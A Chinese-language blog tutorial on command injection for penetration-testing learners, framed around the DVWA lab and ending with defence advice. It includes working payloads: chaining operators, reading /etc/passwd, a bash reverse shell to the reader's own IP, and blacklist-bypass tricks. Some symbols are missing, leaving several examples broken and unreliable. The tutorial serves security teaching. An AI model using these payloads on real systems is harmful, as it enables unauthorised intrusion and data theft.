从入门到实战,这篇保姆级攻略我看谁还没收藏!
哎哟喂,各位看官,是不是又在渗透测试的深坑里摸爬滚打,被那个该死的命令注入折磨得死去活来?别急别急,今儿咱们不整那些虚头巴脑的理论,直接上硬菜——速通命令注入详细教程!老规矩,全程高能,语气贼拉亲切,保证你看完直呼“内行”,恨不得马上打开DVWA练练手,准备好了吗?咱们这就发车!

第一站:啥是命令注入?别告诉我你连门儿都没摸着!
说白了,命令注入啊,就是应用程序因为偷懒,把用户输入的内容直接拼接到系统命令里执行了,这就像你把家门钥匙交给了一个陌生人,他不仅能开门,还能在你家客厅里蹦迪,甚至把你家电视砸了!你说气不气人?
我当年初学的时候,也觉得这玩意儿贼玄乎,其实你想想,那些网页后台,比如让你填个IP地址去Ping一下,填个域名查个DNS,这种功能背后不都是执行系统命令嘛,如果人家没做过滤,你输入 0.0.1 && whoami,好家伙,服务器直接把它当成两条命令执行了!这不就“注入”进去了吗?是不是还挺有画面感的?
第二站:三条速通“秘籍”,让你瞬间打通任督二脉
既然是“速通”,咱就得讲究效率,别去看那些几百页的论文了,抓住下面这三个核心点,你就能秒懂百分之八十的场景。
分号 与管道符 —— 传说中的“黄金搭档”
这是最基础、最无脑的玩法,程序员要是没做防护,你输入 0.0.1; ls,意思就是“先干完前面的活儿,再给我把目录列出来”,而 更狠,它是把前面命令的输出当后面命令的输入,0.0.1 | whoami,有时候能绕过一些傻白甜的过滤规则,我跟你讲,光靠这俩符号,我当年就在靶场里横着走了,那感觉,倍儿爽!
逻辑运算符 && 和 —— 有点脑子的人都在用
这二位可是老江湖。&& 表示“前面成功了,我才干后面的”。ping -c 1 1.1.1.1 && cat /etc/passwd,只要Ping能通,你就等着拿密码文件吧(现代系统权限卡得死,咱们主要是学思路),而 则恰好相反,“前面失败了,老子就执行后面的”,利用这个特性,你可以在目标命令必然报错的情况下,触发你自己的命令,哎呀,这俩配合起来,那真是“进可攻,退可守”,美滋滋!
命令替换 和 —— 高手的必杀技
这一招就有点技术含量了,但看懂之后你会觉得:“卧槽,原来还能这么玩?!” 原理就是把你的命令嵌在另一个命令里面。ping -c 1 $(whoami),系统会先执行括号里的 whoami,再把结果当成参数传给 ping,虽然这看起来没啥卵用,但如果配合DNSLog或者HTTPLog,就能实现盲注(即看不到回显时偷数据),那简直就是黑暗中的一束光啊!看到这里,是不是觉得脑子里的CPU都要烧了?别急,咱们接着往下刨。
第三站:实战演练!手把手教你拿Shell(模拟环境,请勿搞破坏!)
光说不练假把式,咱们假设有个Silly网站,输入IP就能Ping,后台代码是 system("ping -c 1 " . $_GET['ip']);,你看,这不就是纯纯的“裸奔”吗?
我通常的操作是:先在输入框里规矩地填个 0.0.1,看看回显正不正常,高潮来了!我在后面加了 ; whoami,提交!如果页面弹出了 www-data 或者你的Windows用户名,恭喜你,漏洞确认! 这时候,我一般会激动地拍一下大腿,大喊一声“有了!”
再进阶一点,想搞个反弹Shell?那还不简单!构造 0.0.1; bash -i >& /dev/tcp/你的IP/7777 0>&1,URL编码得处理好,不然空格和特殊符号会让服务器直接裂开,咱就是说,这一步操作下来,对方的服务器就是你的“后花园”了,但你得注意,这可是违法行为,没拿到授权千万别瞎搞!我这是纯技术探讨,各位懂我意思吧?
第四站:嘿!别高兴太早,绕过姿势了解一下?
你以为你输入 人家就让你过?那你太年轻了,现在稍微有点安全意识的程序员都会用 preg_replace 或转义函数来过滤危险字符,那咱就得祭出“三十六计”了。
- 空格被过滤? 用
${IFS}或者$IFS$9代替空格。cat${IFS}/etc/passwd,这招是不是绝了? - 关键字被过滤? 用拼接或者编码,比如把
whoami写成w"ho"ami或who$@ami,利用shell的解析特性绕过黑名单,我之前见过最离谱的过滤,把cat都过滤了,结果我直接用tac(反向输出),虽然顺序反了,但内容还是出来了呀!这不就是道高一尺,魔高一丈嘛。
第五站:防御姿势(或者叫“防身术”)
咱们不能光会打,得学会怎么挨打,作为一个有职业道德的Script Kid,我建议所有的开发大佬们: 第一,永远不要用字符串拼接命令,能用API绝不用system; 第二,白名单校验用户输入,不是预期格式直接报错走人;第三,最小权限运行Web服务,就算被注入了,他也只能干瞪眼,拿不到系统权限。
好了,洋洋洒洒写了这么多,也不知道各位看爽了没有,这速通命令注入详细教程其实还真不是一两句话能说完的,里面的水比马里亚纳海沟还深,但只要你把这几个基础思路理清了,剩下的就是不断去靶场里“踩踩踩”。
说了这么多,如果你觉得这篇图文并茂、语气欠揍的教程对你有那么一丁点儿帮助,麻烦动动发财的小手,点个赞、转发一下呗? 你们的支持才是我继续在深夜里写这种“危险”干货的动力啊!咱们评论区见,聊聊你第一次成功注入时,是不是也激动得半夜没睡着觉?嘿嘿。